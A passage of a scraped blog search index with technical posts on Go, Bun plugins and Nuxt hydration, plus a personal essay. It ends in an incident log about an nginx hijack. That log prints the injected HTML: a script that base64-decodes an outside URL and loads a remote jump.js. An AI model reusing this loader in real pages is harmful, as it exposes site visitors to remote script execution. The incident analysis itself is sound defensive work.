并发",{"id":2354,"title":2355,"titles":2356,"content":2357,"level":78},"\u002Fblog\u002Fgolang#进程线程协程","进程、线程、协程",[2293,2350],"https:\u002F\u002Fblog.f1nley.xyz\u002Fpost\u002Fcode\u002Fconcurrency\u002F",{"id":2359,"title":2051,"titles":2360,"content":2361,"level":78},"\u002Fblog\u002Fgolang#goroutine",[2293,2350],"Go 语言的调度器通过使用与 CPU 数量相等的线程减少线程频繁切换的内存开销，同时在每一个线程上执行额外开销更低的 Goroutine 来降低操作系统和硬件的负载。 func fun() {\n    for {\n        \u002F\u002F ...\n    }\n}\ngo fun() \u002F\u002F 开一个协程",{"id":2363,"title":2364,"titles":2365,"content":2366,"level":78},"\u002Fblog\u002Fgolang#上下文机制","上下文机制",[2293,2350],"type Context interface {\n    Deadline() (deadline time.Time, ok bool) \u002F\u002F 这个上下文被取消的时间\n    Done() \u003C-chan struct{} \u002F\u002F 当前工作完成或者上下文被取消的时候关闭\n    Err() error \u002F\u002F 错误处理\n    Value(key interface{}) interface{} \u002F\u002F 值\n}",{"id":2368,"title":2369,"titles":2370,"content":2371,"level":78},"\u002Fblog\u002Fgolang#管道机制","管道机制",[2293,2350],"channel 用于 goroutine 之间进行通信\n下面给出一个优雅地结束服务器的例程 func main() {\n    \u002F\u002F ...\n    go func() {\n        if err := server.Listen(\":8080\"); err != nil {\n            log.Fatalln(err)\n        }\n    }()\n    quit := make(chan os.Signal)\n    signal.Notify(quit, os.Interrupt, syscall.SIGTERM) \u002F\u002F listen to the signals\n    \u003C-quit \u002F\u002F main goroutine is blocked here\n    log.Println(\"Shutting Down\")\n    ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second) \u002F\u002F wait up to 5 secs to cancel\n    defer cancel() \u002F\u002F after shutdown\n    if err := server.Shutdown(ctx); err != nil {\n        log.Fatal(\"Server Shutdown\", err)\n    } else {\n        log.Println(\"Server Exiting\")\n    }\n}",{"id":2373,"title":2374,"titles":2375,"content":44,"level":66},"\u002Fblog\u002Fgolang#高性能-gc","高性能 GC",[2293],{"id":2377,"title":2378,"titles":2379,"content":2380,"level":78},"\u002Fblog\u002Fgolang#内存管理模式","内存管理模式",[2293,2374],"C\u002FC++ 的手动内存管理 (malloc, new, free)Java, Python, Golang GC （Garbage Collective）垃圾回收机制Rust 所有权机制 手动管理：看程序员个人水平，性能可能很高，也可能造成灾难性后果GC：程序员无需关心 GC 问题，一定存在的性能消耗。 GC 存在“内存开销”和“运算开销”之间的矛盾。 Java 的 GC 机制被称为 STW (Stop The World)。在执行垃圾回收时，Java 的所有线程被挂起，全局暂停。 Golang 的 GC 机制也是 STW，但是实现相当复杂。\nGolang 的思路是尽可能降低 STW 造成的时延（微秒级），但是内存占用可能会较大。 Golang 使用 三色标记算法优化垃圾回收机制",{"id":2382,"title":2383,"titles":2384,"content":2385,"level":190},"\u002Fblog\u002Fgolang#三色标记算法","三色标记算法",[2293,2374,2378],"白色对象 — 潜在的垃圾，其内存可能会被垃圾收集器回收；黑色对象 — 活跃的对象，包括不存在任何引用外部指针的对象以及从根对象可达的对象；灰色对象 — 活跃的对象，因为存在指向白色对象的外部指针，垃圾收集器会扫描这些对象的子对象； 从灰色对象的集合中选择一个灰色对象并将其标记成黑色；将黑色对象指向的所有对象都标记成灰色，保证该对象和被该对象引用的对象都不会被回收；重复上述两个步骤直到对象图中不存在灰色对象；",{"id":2387,"title":2388,"titles":2389,"content":44,"level":66},"\u002Fblog\u002Fgolang#对于开发者","对于开发者",[2293],{"id":2391,"title":2392,"titles":2393,"content":2394,"level":78},"\u002Fblog\u002Fgolang#_1-gopls-lsp-server","1. gopls LSP Server",[2293,2388],"Golang 可以很方便的使用 gopls LSP 服务器提供编程时的协助",{"id":2396,"title":2397,"titles":2398,"content":2399,"level":78},"\u002Fblog\u002Fgolang#_2-社区环境","2. 社区环境",[2293,2388],"Google 亲儿子Gin 轻量 Web 框架GORM ORM 框架sql\u002Fdriver SQL 引擎viper 配置文件解析",{"id":2401,"title":2402,"titles":2403,"content":2404,"level":66},"\u002Fblog\u002Fgolang#参考","参考",[2293],"https:\u002F\u002Fdraveness.me\u002Fgolang\u002Fhttps:\u002F\u002Fwww.runoob.com\u002Fgo\u002Fgo-tutorial.html html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html .light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html.light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html pre.shiki code .sKbfg, html code.shiki .sKbfg{--shiki-default:#4C4F69;--shiki-dark:#CAD3F5;--shiki-light:#4C4F69}html pre.shiki code .sp4-F, html code.shiki .sp4-F{--shiki-default:#179299;--shiki-dark:#8BD5CA;--shiki-light:#179299}html pre.shiki code .soSG-, html code.shiki .soSG-{--shiki-default:#1E66F5;--shiki-dark:#8AADF4;--shiki-light:#1E66F5}html pre.shiki code .sPKdQ, html code.shiki .sPKdQ{--shiki-default:#DF8E1D;--shiki-dark:#EED49F;--shiki-light:#DF8E1D}html pre.shiki code .s6V-t, html code.shiki .s6V-t{--shiki-default:#40A02B;--shiki-dark:#A6DA95;--shiki-light:#40A02B}html pre.shiki code .sBAe2, html code.shiki .sBAe2{--shiki-default:#8839EF;--shiki-dark:#C6A0F6;--shiki-light:#8839EF}html pre.shiki code .sxu-A, html code.shiki .sxu-A{--shiki-default:#8839EF;--shiki-default-font-weight:bold;--shiki-dark:#C6A0F6;--shiki-dark-font-weight:bold;--shiki-light:#8839EF;--shiki-light-font-weight:bold}html pre.shiki code .sgCEr, html code.shiki .sgCEr{--shiki-default:#1E66F5;--shiki-default-font-style:italic;--shiki-dark:#8AADF4;--shiki-dark-font-style:italic;--shiki-light:#1E66F5;--shiki-light-font-style:italic}html pre.shiki code .sPaNA, html code.shiki .sPaNA{--shiki-default:#7C7F93;--shiki-dark:#939AB7;--shiki-light:#7C7F93}html pre.shiki code .sXaTj, html code.shiki .sXaTj{--shiki-default:#E64553;--shiki-default-font-style:italic;--shiki-dark:#EE99A0;--shiki-dark-font-style:italic;--shiki-light:#E64553;--shiki-light-font-style:italic}",{"id":2406,"title":2407,"titles":2408,"content":2409,"level":52},"\u002Fblog\u002Fhow-to-use-and-create-bun-plugin","Bun Plugin 怎么搞",[],"最近搞了一个 FastGPT-plugin，使用 bun 作为 package manager 和 bundler。bun 的 build 在默认情况下已经足够强大了，但是如果需要在编译时对代码进行修改，则需要通过 plugin 来实现。",{"id":2411,"title":2407,"titles":2412,"content":2409,"level":52},"\u002Fblog\u002Fhow-to-use-and-create-bun-plugin#bun-plugin-怎么搞",[],{"id":2414,"title":2415,"titles":2416,"content":2417,"level":66},"\u002Fblog\u002Fhow-to-use-and-create-bun-plugin#bun-和-bun-plugin","Bun 和 bun plugin",[2407],"Bun 是一个以 快速 著称的 all-in-one 的工具。 Bun plugin 是 Bun 提供的一个 通用的 插件 API，可以用于拓展 runtime 和 bundler",{"id":2419,"title":2420,"titles":2421,"content":2422,"level":66},"\u002Fblog\u002Fhow-to-use-and-create-bun-plugin#构建一个-bun-的-plugin","构建一个 bun 的 plugin",[2407],"可以引入 BunPlugin 类型来帮助构建 plugin： \u002F\u002F myPlugin.ts\nimport type { BunPlugin } from 'bun';\n\nconst myPlugin: BunPlugin = {\n  name: \"Custom loader\",\n  setup(build) {\n    \u002F\u002F implementation\n  },\n};\n\nexport default myPlugin 官方文档中提供了 Loader, Virtual Module 等例子，我们可以直接从底层的类型定义开始看： 以下是官方文档中 Bun Plugin 的类型定义1 namespace Bun {\n  function plugin(plugin: {\n    name: string;\n    setup: (build: PluginBuilder) => void;\n  }): void;\n}\n\ntype PluginBuilder = {\n  onStart(callback: () => void): void;\n  onResolve: (\n    args: { filter: RegExp; namespace?: string },\n    callback: (args: { path: string; importer: string }) => {\n      path: string;\n      namespace?: string;\n    } | void,\n  ) => void;\n  onLoad: (\n    args: { filter: RegExp; namespace?: string },\n    callback: (args: { path: string }) => {\n      loader?: Loader;\n      contents?: string;\n      exports?: Record\u003Cstring, any>;\n    },\n  ) => void;\n  config: BuildConfig;\n};\n\ntype Loader = \"js\" | \"jsx\" | \"ts\" | \"tsx\" | \"css\" | \"json\" | \"toml\" | \"object\"; 然而实际上在 bun.d.ts2 中 build 参数对象还有几个 property，在官方文档中没有明确说明，我这里拷贝过来（去掉了 JSDoc 注释）： interface PluginBuilder {\n    onStart(callback: OnStartCallback): this;\n    onBeforeParse(\n      constraints: PluginConstraints,\n      callback: {\n        napiModule: unknown;\n        symbol: string;\n        external?: unknown | undefined;\n      },\n    ): this;\n    onLoad(constraints: PluginConstraints, callback: OnLoadCallback): this;\n    onResolve(constraints: PluginConstraints, callback: OnResolveCallback): this;\n    config: BuildConfig & { plugins: BunPlugin[] };\n    module(specifier: string, callback: () => OnLoadResult | Promise\u003COnLoadResult>): this;\n  }",{"id":2424,"title":2425,"titles":2426,"content":2427,"level":78},"\u002Fblog\u002Fhow-to-use-and-create-bun-plugin#config","config",[2407,2420],"可以使用这个 config 来修改 bun build 的 config，如官方的例子： await Bun.build({\n  entrypoints: [\".\u002Fapp.ts\"],\n  outdir: \".\u002Fdist\",\n  sourcemap: \"external\",\n  plugins: [\n    {\n      name: \"demo\",\n      setup(build) {\n        console.log(build.config.sourcemap); \u002F\u002F \"external\"\n\n        build.config.minify = true; \u002F\u002F enable minification\n\n        \u002F\u002F `plugins` is readonly\n        console.log(`Number of plugins: ${build.config.plugins.length}`);\n      },\n    },\n  ],\n});",{"id":2429,"title":2430,"titles":2431,"content":2432,"level":78},"\u002Fblog\u002Fhow-to-use-and-create-bun-plugin#module","module",[2407,2420],"使用 module 方法可以定义虚拟模块 (Virtual Module)，类似于 Jest \u002F Vitest 中的 Module Mocking，只不过这种虚拟模块可以在开发环境、生产环境的 runtime 中使用。 官方文档：This feature is currently only available at runtime with Bun.plugin and not yet supported in the bundler, but you can mimic the behavior using onResolve and onLoad.这个功能目前能在 Bun 的 runtime 中有效，并没有支持 bundler（也就是编译时）。但是可以使用 onResolve 和 onLoad 来实现相似的效果。 module 方法需要传入两个参数 specifier：string 类型，也就是这个模块的名字callback: 函数，返回值有:\nloader: 可以看上面的 loader 的类型定义，有 js, ts, object 等contents: string，源码（当loader 为 js, ts时）exports: object, 当 loader 为 object 时。 下面是官方文档中的例子： import { plugin } from \"bun\";\n\nplugin({\n  name: \"my-virtual-module\",\n\n  setup(build) {\n    build.module(\n      \u002F\u002F The specifier, which can be any string - except a built-in, such as \"buffer\"\n      \"my-transpiled-virtual-module\",\n      \u002F\u002F The callback to run when the module is imported or required for the first time\n      () => {\n        return {\n          contents: \"console.log('hello world!')\",\n          loader: \"js\",\n        };\n      },\n    );\n\n    build.module(\"my-object-virtual-module\", () => {\n      return {\n        exports: {\n          foo: \"bar\",\n        },\n        loader: \"object\",\n      };\n    });\n  },\n});\n\n\u002F\u002F Sometime later\n\u002F\u002F All of these work\nimport \"my-transpiled-virtual-module\";\nrequire(\"my-transpiled-virtual-module\");\nawait import(\"my-transpiled-virtual-module\");\nrequire.resolve(\"my-transpiled-virtual-module\");\n\nimport { foo } from \"my-object-virtual-module\";\nconst object = require(\"my-object-virtual-module\");\nawait import(\"my-object-virtual-module\");\nrequire.resolve(\"my-object-virtual-module\");",{"id":2434,"title":2435,"titles":2436,"content":44,"level":78},"\u002Fblog\u002Fhow-to-use-and-create-bun-plugin#生命周期-hook","生命周期 hook",[2407,2420],{"id":2438,"title":2439,"titles":2440,"content":2441,"level":190},"\u002Fblog\u002Fhow-to-use-and-create-bun-plugin#_1-onstart","1. onStart",[2407,2420,2435],"onStart 被触发于插件被使用的时候，可以做一些不依赖于某一个模块的，全局的设置。 build.onStart(()=>{\n    console.log(\"starting\")\n})",{"id":2443,"title":2444,"titles":2445,"content":2446,"level":190},"\u002Fblog\u002Fhow-to-use-and-create-bun-plugin#_2-onresolve","2. onResolve",[2407,2420,2435],"bun 的 bundler 定位这个文件的过程就叫 resolve，resolve 被触发于要寻找这个文件的过程中。 需要传入两个参数： 第一个参数constraints，是一个对象：\nfilter: 正则，用于匹配要修改的字符串namespace: 可选字符串。在 import 'yaml:myConfig.yaml'; 中 yaml 就是 namespace第二个参数 callback 回调函数，处理匹配到的字符串用的。",{"id":2448,"title":2449,"titles":2450,"content":2451,"level":190},"\u002Fblog\u002Fhow-to-use-and-create-bun-plugin#_3-onload","3. onLoad",[2407,2420,2435],"onLoad 接收两个参数，第一个参数和 onResolve 的一样，用于过滤哪些文件会触发这个 hook，第二个参数传入的 callback 则是对这个模块本身的修改。\n其返回值是一个模块，和上面的 module 的返回值一致。 这里官方提供一个 Transpiler API，用于对代码的简单处理： const transpiler = new Bun.Transpiler(); transpiler 并没有很全面的功能，只提供了四个函数： scan，扫描import 和 exportscanImport 扫描 import（性能比 scan 好)transform 从 JSX\u002FTSX 转成 JStransformSync 就是同步版本的 transform",{"id":2453,"title":2454,"titles":2455,"content":2456,"level":190},"\u002Fblog\u002Fhow-to-use-and-create-bun-plugin#_4-native-plugin","4. Native Plugin",[2407,2420,2435],"build 还提供了一个 hook 叫 onBeforeParse，这个是供 Native plugin 使用的，使用 NAPI。 笔者没有深入了解这个内容，这里略过了。 onBeforeParse(\n  args: { filter: RegExp; namespace?: string },\n  callback: { napiModule: NapiModule; symbol: string; external?: unknown },\n): void;",{"id":2458,"title":2459,"titles":2460,"content":2461,"level":66},"\u002Fblog\u002Fhow-to-use-and-create-bun-plugin#使用-plugin","使用 plugin",[2407],"Bun 的 plugin 可以直接使用 plugin 函数在运行时使用： import { plugin } from 'Bun';\nimport customPlugin from 'customPlugin.ts';\n\nplugin(customPlugin); 如果想在 Build 的时候使用，则可以使用： Bun.build({\n    plugins: [customPlugin]\n    \u002F\u002F ...\n}); 如果在 bundler 中和在运行时都需要使用，则可以写一个 preload 脚本，并且在 bunfig 中进行配置。 \u002F\u002F path\u002Fto\u002Fpreload.ts\nimport { plugin } from 'Bun';\nimport customPlugin from 'customPlugin.ts';\n\nplugin(customPlugin); # bunfig.toml\npreload = [\"path\u002Fto\u002Fpreload.ts\"]",{"id":2463,"title":2464,"titles":2465,"content":2466,"level":66},"\u002Fblog\u002Fhow-to-use-and-create-bun-plugin#思考","思考",[2407],"Bun 的插件 API 没有提供源代码的 AST 的直接访问，\n如果插件需要对代码进行大规模的修改，\n在 AST parser（如 Babel, SWC 等）中能更方便的进行修改，或许直接使用 rollup, rolldown 或者是 vite 这种构建工具会更好。 FootnotesPlugins – Runtime | Bun Docs ↩版本：@types\u002Fbun@1.2.18 ↩ html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html .light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html.light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html pre.shiki code .sV9BF, html code.shiki .sV9BF{--shiki-default:#7C7F93;--shiki-default-font-style:italic;--shiki-dark:#939AB7;--shiki-dark-font-style:italic;--shiki-light:#7C7F93;--shiki-light-font-style:italic}html pre.shiki code .sBAe2, html code.shiki .sBAe2{--shiki-default:#8839EF;--shiki-dark:#C6A0F6;--shiki-light:#8839EF}html pre.shiki code .sPaNA, html code.shiki .sPaNA{--shiki-default:#7C7F93;--shiki-dark:#939AB7;--shiki-light:#7C7F93}html pre.shiki code .sKbfg, html code.shiki .sKbfg{--shiki-default:#4C4F69;--shiki-dark:#CAD3F5;--shiki-light:#4C4F69}html pre.shiki code .s6V-t, html code.shiki .s6V-t{--shiki-default:#40A02B;--shiki-dark:#A6DA95;--shiki-light:#40A02B}html pre.shiki code .sp4-F, html code.shiki .sp4-F{--shiki-default:#179299;--shiki-dark:#8BD5CA;--shiki-light:#179299}html pre.shiki code .s0Fzw, html code.shiki .s0Fzw{--shiki-default:#DF8E1D;--shiki-default-font-style:italic;--shiki-dark:#EED49F;--shiki-dark-font-style:italic;--shiki-light:#DF8E1D;--shiki-light-font-style:italic}html pre.shiki code .sgCEr, html code.shiki .sgCEr{--shiki-default:#1E66F5;--shiki-default-font-style:italic;--shiki-dark:#8AADF4;--shiki-dark-font-style:italic;--shiki-light:#1E66F5;--shiki-light-font-style:italic}html pre.shiki code .sXaTj, html code.shiki .sXaTj{--shiki-default:#E64553;--shiki-default-font-style:italic;--shiki-dark:#EE99A0;--shiki-dark-font-style:italic;--shiki-light:#E64553;--shiki-light-font-style:italic}html pre.shiki code .s1fFv, html code.shiki .s1fFv{--shiki-default:#4C4F69;--shiki-default-font-style:italic;--shiki-dark:#CAD3F5;--shiki-dark-font-style:italic;--shiki-light:#4C4F69;--shiki-light-font-style:italic}html pre.shiki code .sEK33, html code.shiki .sEK33{--shiki-default:#04A5E5;--shiki-dark:#91D7E3;--shiki-light:#04A5E5}html pre.shiki code .sVptW, html code.shiki .sVptW{--shiki-default:#40A02B;--shiki-default-font-style:italic;--shiki-dark:#A6DA95;--shiki-dark-font-style:italic;--shiki-light:#40A02B;--shiki-light-font-style:italic}html pre.shiki code .soiJA, html code.shiki .soiJA{--shiki-default:#8839EF;--shiki-default-font-style:italic;--shiki-dark:#C6A0F6;--shiki-dark-font-style:italic;--shiki-light:#8839EF;--shiki-light-font-style:italic}html pre.shiki code .sysvw, html code.shiki .sysvw{--shiki-default:#FE640B;--shiki-dark:#F5A97F;--shiki-light:#FE640B}html pre.shiki code .sxu-A, html code.shiki .sxu-A{--shiki-default:#8839EF;--shiki-default-font-weight:bold;--shiki-dark:#C6A0F6;--shiki-dark-font-weight:bold;--shiki-light:#8839EF;--shiki-light-font-weight:bold}",{"id":2468,"title":2469,"titles":2470,"content":2471,"level":52},"\u002Fblog\u002Fhydration","水合(Hydration)到底是什么",[],"水合到底是什么？",{"id":2473,"title":2469,"titles":2474,"content":2471,"level":52},"\u002Fblog\u002Fhydration#水合hydration到底是什么",[],{"id":2476,"title":2477,"titles":2478,"content":2479,"level":66},"\u002Fblog\u002Fhydration#水合的定义","水合的定义",[2469],"维基百科上对“水合”这一化学概念的定义是： 在化学中，水合反应（hydration reaction），也叫作水化，是一种化学反应，\n其中物质与水结合。\n在有机化学中，将水加入不饱和底物中，该底物通常是烯烃或炔烃。\n这种类型的反应在工业上用于生产乙醇，异丙醇，和 2-丁醇\n维基百科 也就是说，水合就是把水加入到物质中，从而形式一种新的物质。 在 Nuxt 的官方文档中，有一个简短的定义： 在浏览器中使静态页面具有交互性被称为“水合”。 可以这样理解： 服务器上进行一部分的渲染，并且将这一部分返回给浏览器，相当于水合反应之“底物”在浏览器中，Vue.js 就相当于水而把 Vue.js 和 HTML 结合起来，使页面有交互性，这就是水合。 实际上 Nuxt 支持如下几个渲染模式： 通用渲染，也就是上面水合的描述过程，也是 Nuxt 的默认行为。客户端渲染，即不进行 SSR，完全在浏览器中进行渲染。（就像最开始写 Vue，通过 Vite 构建的 SPA）混合渲染，一部分页面可以在服务器上渲染，另一部分则是客户端渲染.边缘渲染, 这是 Nuxt3 提供的强大功能. 也就是借助 CDN 技术, 可以在距离用户最近的边缘服务器上进行渲染. 其本质是一种部署方式.",{"id":2481,"title":2482,"titles":2483,"content":2484,"level":66},"\u002Fblog\u002Fhydration#usehydration","useHydration",[2469],"useHydration \u003CT> (key: string, get: () => T, set: (value: T) => void) => {} key: 唯一标识符get: 设置默认值(服务端使用, 返回一个值)set: 前端获取服务端拿来的值 官方文档中对 useHydration 的描述很少, 只是说它主要在内部使用, 例如 useAsyncData 中使用了它.\n通过 useHydration 可以实现对水合的完全控制.",{"id":2486,"title":2487,"titles":2488,"content":2489,"level":66},"\u002Fblog\u002Fhydration#useasyncdata-和-usefetch-的区别","useAsyncData 和 useFetch 的区别",[2469],"官方提到了 useFetch 和 useAsyncData('', () => $fetch(...)) 没有什么区别。\nuseAsyncData 可以使用其他的非 fetch 方式来获取数据，例如通过 fs 获取文件内容。 通过 useAsyncData 可以以 SSR 友好的方式获取数据。 目前我通过 useFetch 获取 Nuxt server 暴露的一个接口 api 来获取已经编译好的博客 jsx 内容 （避免二次编译）。\n在选用混合渲染的情况下，将 blog 相关的页面进行预渲染。\nGoogle Lighthouse 可以有一个很好的 Performance 指标。 html pre.shiki code .sgCEr, html code.shiki .sgCEr{--shiki-default:#1E66F5;--shiki-default-font-style:italic;--shiki-dark:#8AADF4;--shiki-dark-font-style:italic;--shiki-light:#1E66F5;--shiki-light-font-style:italic}html pre.shiki code .sEK33, html code.shiki .sEK33{--shiki-default:#04A5E5;--shiki-dark:#91D7E3;--shiki-light:#04A5E5}html pre.shiki code .s0Fzw, html code.shiki .s0Fzw{--shiki-default:#DF8E1D;--shiki-default-font-style:italic;--shiki-dark:#EED49F;--shiki-dark-font-style:italic;--shiki-light:#DF8E1D;--shiki-light-font-style:italic}html pre.shiki code .sKbfg, html code.shiki .sKbfg{--shiki-default:#4C4F69;--shiki-dark:#CAD3F5;--shiki-light:#4C4F69}html pre.shiki code .sPaNA, html code.shiki .sPaNA{--shiki-default:#7C7F93;--shiki-dark:#939AB7;--shiki-light:#7C7F93}html pre.shiki code .sp4-F, html code.shiki .sp4-F{--shiki-default:#179299;--shiki-dark:#8BD5CA;--shiki-light:#179299}html pre.shiki code .sXaTj, html code.shiki .sXaTj{--shiki-default:#E64553;--shiki-default-font-style:italic;--shiki-dark:#EE99A0;--shiki-dark-font-style:italic;--shiki-light:#E64553;--shiki-light-font-style:italic}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html .light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html.light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}",{"id":2491,"title":2492,"titles":2493,"content":44,"level":52},"\u002Fblog\u002Fideal-daily-life","珍視生命中真正的奢侈品——理想的日常",[],{"id":2495,"title":2492,"titles":2496,"content":2497,"level":52},"\u002Fblog\u002Fideal-daily-life#珍視生命中真正的奢侈品理想的日常",[],"這是我的「BlogBlog 同樂會 - 2026 年 3 月」的投稿文章。本月主題是「理想的日常」，由 Alex Hsu 主持。如果你有自己的部落格，歡迎一起來參加！ 寫在前面\n毋庸諱言,筆者來自中國大陸,因而習慣使用簡體中文,而根據 BlogBlog 同樂會每月主題寫作活動之規則,寫作應以繁體中文為主。筆者正文將先使用簡體中文寫畢,而後使用 AI 技術將其「有機翻譯」為繁體中文,再輔以人工校訂,以避免某些並不常見於繁體中文圈的詞彙慣用法。但縱然如此,文內一定也會有疏漏之處,希望各位讀者見諒。另:本文正文,除了翻譯工作、錯字校正和一些資料查詢的工作外,皆為筆者本人書寫,無 AI 輔助創作。",{"id":2499,"title":2500,"titles":2501,"content":2502,"level":66},"\u002Fblog\u002Fideal-daily-life#奢侈品","「奢侈品」",[2492],"之前在長毛象看到了這樣一張圖片。 The real luxuries in life: (生命中真正的奢侈品:)time(時間)health(健康)a quiet mind(清明的思緒)slow mornings(悠閒的早晨)ability to travel(有能力去旅行)rest without guilt(無愧的休息)a good night's sleep(一夜好眠)calm and \"boring\" days(平靜而「無聊」的日子)meaningful conversations(有意義的對話)home-cooked meals(自己煮飯)people you love(你愛的人)people who love you back(也愛你的人) 有這麼一句話「免費的最貴」,對於「生命中真正的奢侈品」來說,誠然如此。 時間與健康,這兩者甚至是矛盾的:花更多時間在工作上 007,是消耗健康而「獲取」時間;而為了健康,則需要「浪費」時間在運動、休息等事情上。平衡很重要。 清明的思緒,或者說「理性」,這是我最珍視的東西。我從不飲酒,對外或宣稱酒精過敏,或宣稱遵守「居士五戒」,就是因為害怕飲酒後,我失去理性,做出一些不好的事情,對自己或對別人。(其實這麼一想,就是在守「居士五戒」,即殺盜淫妄四根本戒,以及酒戒護持四根本戒。)我不知道人性本善還是本惡,或許基因會帶給我們一些傾向,更多的是後天的經歷塑造了我們的靈魂。 有些「奢侈品」是我們已然擁有的,享受它們,珍視它們。有些「奢侈品」是需要努力的,甚至需要一些運氣:有意義的對話,靈魂的共鳴,愛與被愛。",{"id":2504,"title":2505,"titles":2506,"content":2507,"level":66},"\u002Fblog\u002Fideal-daily-life#選擇的自由","選擇的自由",[2492],"不管是怎麼樣的「奢侈品」,歸根究底,我認為是一個「選擇的自由」的問題。誰不知道健康的寶貴?可是加班工作,往往不是自願。誰不想要徹底逃離工作的旅行?可即使去旅行,還要帶著電腦手機,隨時待命。「人生而自由,卻無時不在枷鎖之中」,而這些「枷鎖」是人能形成社會的基礎。 我所希望的是合理的「枷鎖」,以及充分的自由。並非拒絕勞動,拒絕工作,而是更靈活、更有效率的工作。",{"id":2509,"title":2510,"titles":2511,"content":2512,"level":66},"\u002Fblog\u002Fideal-daily-life#自律與縱欲","自律與縱欲",[2492],"我大概國中還是高中的時候就曾讀過古羅馬皇帝、五賢帝末位的馬可·奧理略的《沉思錄》,對我的影響很深。奧理略不只是一位皇帝,更是一位斯多葛派哲學家。作為皇帝,享有無上的權力、無盡的財富,但是卻不貪圖享樂。 我自己的自律能力很差,雖然家長們總是說我比較自律,但是我對自己的認識是很清醒的,我也有比較嚴重的拖延症。 有句話是說「自律得自由」。我最近有計畫讓自己自律起來,有一個「每月養成一個好習慣」的計畫,比如已經養成的習慣:每天要確保 2000 ml 的飲水、每天多少要打掃一下環境、每天早上摺棉被等。我也在規劃我每週的飲食習慣,計算熱量以減脂。 但是我總是會想要偷懶,我想「偷懶」是人的本性,或許很難完全「根除」,或許也沒有什麼必要根除。",{"id":1712,"title":5,"titles":2514,"content":16,"level":52},[],{"id":2516,"title":5,"titles":2517,"content":16,"level":52},"\u002Fblog\u002Flog-an-nginx-replacement-attack#记录一次-nginx-替换攻击事件",[],{"id":2519,"title":27,"titles":2520,"content":2521,"level":66},"\u002Fblog\u002Flog-an-nginx-replacement-attack#排查过程",[5],"看到这么奇怪的东西我的第一反应就是肯定是服务器出了什么问题，于是我立即使用 curl 去请求了一次 http:\u002F\u002Fwww.f1nley.xyz, 结果是拿到了一段 html 文档： \u003C!DOCTYPE html>\n\u003Chtml>\n\u003Chead>\u003Cscript>(function(){var s=document.createElement('script');s.src=atob('aHR0cHM6Ly9qai5zb2ZzeHouY29tL2p1bXAuanM=');document.head.appendChild(s);})();\u003C\u002Fscript>\n\u003Cbody>\u003C\u002Fbody>\n\u003C\u002Fhtml> 这段 html 就是立即执行了一个 js 脚本，创建了一个新的 script 元素引入了 src 中指向的目标网址。目标网址是 base64 编码，大概是为了规避审查。 解码后得到的是一个 .js 文件的地址: https:\u002F\u002Fjj.sofsxz.com\u002Fjump.js，直接访问得到的是一个空的页面。",{"id":2523,"title":227,"titles":2524,"content":230,"level":78},"\u002Fblog\u002Flog-an-nginx-replacement-attack#排查是否是-docker-镜像和产物的问题",[5,27],{"id":2526,"title":233,"titles":2527,"content":2528,"level":78},"\u002Fblog\u002Flog-an-nginx-replacement-attack#定位是服务器的哪里出了问题",[5,27],"在宿主机上执行 curl -v http:\u002F\u002F127.0.0.1\u002F -H 'Host: www.f1nley.xyz' 后发现，拿到的也是如上所示的恶意代码。\n在 docker 容器内执行 curl 拿到的是正常内容。 因此可以判断就是 Proxy 这一层出了问题。 然而排查 nginx 的相关配置并没有发现有相关的代码的痕迹。 在 GPT 